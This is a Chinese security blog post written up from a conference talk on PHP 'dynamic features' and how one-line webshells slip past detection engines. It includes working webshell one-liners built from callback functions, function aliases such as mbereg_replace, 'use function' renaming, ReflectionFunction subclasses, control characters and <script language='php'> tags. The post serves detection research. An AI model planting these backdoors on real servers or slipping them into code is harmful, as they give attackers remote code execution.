今天看到了某家厂商的Webshell检测引擎,实测效果还可以,确实把PHP Webshell检测这个难题实质上地推进了一步。
我在八月的KCon中发布了一个议题《PHP动态特性的捕捉与逃逸》,一直拖着没时间写文章,结果可能大部分人没有读过,错过了一些有趣的case,所以借此机会,补发一篇文章,看看这些case你有没有考虑到。
0x01 什么是PHP动态特性
PHPChip是我开源的一款“PHP动态特性”检测工具,那么,什么是动态特性?
类似于“回调后门”,“PHP动态特性”也是我胡乱起的一个名字。理解动态特性前,借助我幻灯片里的一张图,你们先看看下面的这6个代码中,哪几个和其余部分有区别:
答案是,我们就可以将上述代码分为两类(实线和虚线):
画实线的部分,我们通过阅读其代码,可以确定他们的作用是什么:
preg_replace('/a/i', 'b', $_POST['name']);
替换用户输入的字符串中的a为becho "hello world";
输出字符串“hello world”foreach (dir('./') as $f) {echo $f->read();}
读取并输出当前目录下所有文件名
画虚线的部分,我们其实是无法完全确定功能的。
比如这段代码:
$arr = [$_GET, $_POST, $_COOKIE];
array_map($callback, ...$arr);
在$callback
的值为htmlspecialchars
时,作用是处理并编码用户的输入:
array_map('htmlspecialchars', ...$arr);
在$callback
的值为assert
时,将会变成一个webshell:
array_map('assert', ...$arr);
这就是PHP的动态特性。我们用一段简单的语言描述:“一段代码,其中变量值的改变可能导致这段代码发生功能上的变化,我将这种现象成为 PHP的动态特性”。
几乎可以肯定地说,所有的一句话Webshell都需要使用到动态特性,因为一句话木马的作用就是通过一段简单的代码可以执行攻击者想要的很多功能。
不过,具有动态特性的代码又不代表就一定是Webshell,也可能只是开发者借助PHP灵活的特性编写的正常代码。在实际开发中,我们应该尽量避免使用过多动态特性,还记得ThinkPHP5曾经出现过的两个远程代码执行漏洞吗?
这两个漏洞都是开发者使用动态方法调用的时候,没有注意控制方法的命令,导致用户调用了恶意函数,最终导致代码执行。
PHPChip的作用,就是帮助开发者和运维安全人员,快速定位项目中的动态特性,并进行修正。
0x02 检测与对抗
既然已经开源,我就不过多描述Chip的工作原理了,这篇文章重点还是讲讲对抗。
既然一句话木马可以理解为PHP动态特性,那么PHPChip理论上就可以找到所有一句话木马。
我将我们常见的PHP一句话木马分为如下几个类别:
直接型是最常见的eval、assert类型的一句话木马;变形型通常是编码、加密、压缩PHP文件,或者通过一些动态方法调用实现的一句话木马;回调型是我曾经说过的回调后门;命令型指的是通过命令执行函数或反引号来执行用户输入的参数,外国人喜欢这类后门;包含型通常会将恶意代码放在另一个文件中,然后进行包含利用,避免被查杀;技巧型则利用了一些PHP的tricks,制造任意代码执行。
这些后门都已经被各大厂商熟知,所以通常也无法逃过Webshell检测。我在写PHPChip的时候,首先针对这些常见的动态特性进行了检测,但是在检测的过程中,也研究出了不少有趣的新“tricks”。
攻击者的小试牛刀
我们从回调后门这种我曾专门写过博客的后门入手进行分析吧,先思考,针对一个回调型后门,检测引擎会如何进行检测:
1.遍历AST Tree
2.分析FuncCall Node,判断是否调用了含有“回调参数”的函数
3.判断回调参数是否是一个变量
其实检测的最关键一点,就是你如何确定代码中的某一个函数是一个“恶意”函数?
简单来说,检测引擎应该有个黑名单,在找到函数调用的代码时,如果发现函数名在黑名单中,就认为这是一个“敏感”函数,再执行后续判断;如果函数名不在黑名单中,那么后续的判断也就不用继续了。
对于一个安全研究者,判断黑名单最简单的绕过,当然就是改变大小写。虽然大部分编程语言的关键字都是大小写敏感的,但PHP是一个例外,比如,我们可以将基础的回调后门修改为如下:
UsORt($_POST[1], $_POST[2]);
如果比较弱智的检测引擎没有区分大小写,即可绕过。
绕过马其顿防线
显然大部分检测引擎不会这么弱智。
那么,我们继续思考。如果说检测引擎有一个“敏感函数”的黑名单,那么这个黑名单怎么来?多半有如下两个途径:
- 根据经验
- 从文档采集
经验显然是不靠谱的,很少有人能完全掌握PHP中所有的函数原型。从文档采集是个比较靠谱的方法,我们只需要遍历整个PHP的文档,找到函数回调函数参数的函数就行了。
比如,usort
这个函数原型如下:
其第二个参数是一个callable
类型的参数,我们可以传入回调函数,最后构造成回调后门。
那么,文档真的是完全靠谱的吗?
在PHP底层中,有一个宏叫PHP_FALIAS
,作用是给一个函数赋予一个“别名”,比如show_source
函数就是highlight_file
的别名。我们可以在源码中找到这些别名函数:
其中有两个有趣的函数:
mbereg_replace
mbereg_ireplace
他们在文档里搜索不到,实际上却是mb_ereg_replace
、mb_eregi_replace
的别名:
而mb_ereg_replace
、mb_eregi_replace
这两个函数你记得吗?他们的作用和preg_replace
一样,支持传入e
模式的正则表达式,进而执行任意代码;而且,PHP7后已经删除了preg_replace
的e
模式,而mb_ereg_replace
的e
模式仍然坚挺到现在。
所以,我们可以构造如下代码,绕过很多Webshell检测引擎:
mbereg_replace('.*', '\0', $_REQUEST[2333], 'mer');
另外,有的Webshell检测引擎发现单独的e
会进行报警,但换成一个包含e
的字符串,就不会报警了,很有趣。
不过,mbereg_replace
这个别名在PHP7.3被移除了,所以上述代码只能在7.2及以下的PHP中使用。
剑走偏锋
从函数名入手,我们刚才找到了两种可能绕过Webshell检测引擎的方法,那么继续思考,还有哪些从函数名位置可以突破的方法?
这里就提到一个新的姿势了,在PHP5.6以后,PHP开始支持函数别名。
什么是函数别名?比如,两个开发者开发了不同的组件,但其中都包含sample
这个函数,在旧的PHP中,遇到这种情况就会报一个致命错误:
PHP Fatal error: Cannot redeclare sample()
虽然命名空间这个概念在PHP5.3就引入了,但一直只支持类名的命名空间,直到PHP5.6才加入了函数名的命名空间。
此时,我们就可以用use function a as b
来导入函数a
,但在当前命名空间中以b
来命名。在表现形式上来看,就类似于我将函数“重命名”了。
所以,我们可以将assert
函数重命名,来构造一个一句话木马:
use function \assert as test;
test($_POST[2333]);
在8月发表议题时,这个Webshell几乎没有检测引擎支持。
举一反三
我们刚才研究了“重命名”函数造成的绕过,思考一下,还有哪些行为,我们可以认为也是在“重命名”?
很简单,类的继承,其实也可以理解为一种“重命名”。子类拥有父类所有的方法,也可以做所有父类支持的操作。
构造一个简单的Webshell:
class test extends ReflectionFunction {}
$f = new test($_POST['name']);
$f->invoke($_POST[2333]);
用php7支持的匿名类的方式修改这段代码:
$f = new class($_POST['name']) extends ReflectionFunction {};
$f->invoke($_POST[2333]);
待时而动
我们刚才找到了利用函数名、类名的一些方法,那么,利用参数名位置,是否也可以构造Webshell呢?
在我的另一篇文章《eval长度限制绕过 && PHP5.6新特性》提出过利用PHP5.6后增加的变长参数来绕过代码执行的长度限制,当然也可以用来绕过Webshell的检测:
usort(...$_GET);
不过,因为已经提出2年有余,如今大部分的检测引擎已经有针对性防御了,所以这里就不再赘述。
敌后武工队
继续思考,你是如何判断一段代码里,哪些位置是函数名,哪些位置是类名,哪些位置是参数?
在PHPChip中,我们用到了PHP-Parser这个PHP的AST解释引擎,相比于针对Opcode的检测,其优点是适配所有主流PHP版本,缺点是与正常的PHP引擎还是有一些区别。
比如,如果你抓过菜刀的数据包,你会发现其PHP代码中会包含很多控制字符。比如,一个函数调用,我们可以在括号前面增加控制字符:
printf<char>('hello world')
哪些字符是控制字符呢?
[\x00-\x20]
PHP引擎会忽略这些控制字符,正确执行PHP函数;而PHP-Parser是无法正确解析的这些包含控制字符的函数的。
所以,如果我们构造如下代码,即可绕过一些具有语法解析的Webshell检测引擎:
eval\x01\x02($_POST[2333]);
其中\x01\x02
需要转换成实际的字符。
暗度陈仓
继续思考,我们刚才借助了AST解析器PHP-Parser与实际PHP的差异来绕过检测,实际上还是进行了检测,只不过因为解析代码出现不认识的字符导致退出了检测。
那么,我们能不能直接不让解析器进行解析呢?
一个正常的解析器,其流程是什么?
1.在用户传入的内容中,找到PHP代码
2.将PHP代码解析成AST Tree
第1步需要先找到PHP代码吧,那么,如何界定一段代码是不是PHP代码?当然是根据PHP标签。
在正常PHP5中,支持如下4种PHP标签:
而PHP-Parser只支持前两个标签,这就导致了差异。如果我传入一个由<script>
标签构造的Webshell,不识别该标签的检测引擎就会出现绕过:
<script language="php">
eval($_POST[2333]);
</script>
0x03 总结
除了上述说到的一些代码,其实按照这些思路还能想出很多有趣的tricks,这里我就先保密了。希望大家不再拘泥于通过各种方法获取输入,增加调用链,结果最后还得用一个大大的eval;也不再拘泥于编码、加密、压缩、动态调用这样的方式来变换自己的代码,脑洞还可以更大一些。
以上内容是我在8月的KCON中发布的议题《PHP动态特性的捕捉与逃逸》,可能有些人注意到并进行了针对性防御,估计也有不少人没有看过。原谅我这篇迟到的文章,希望给你们带来一些其他灵感。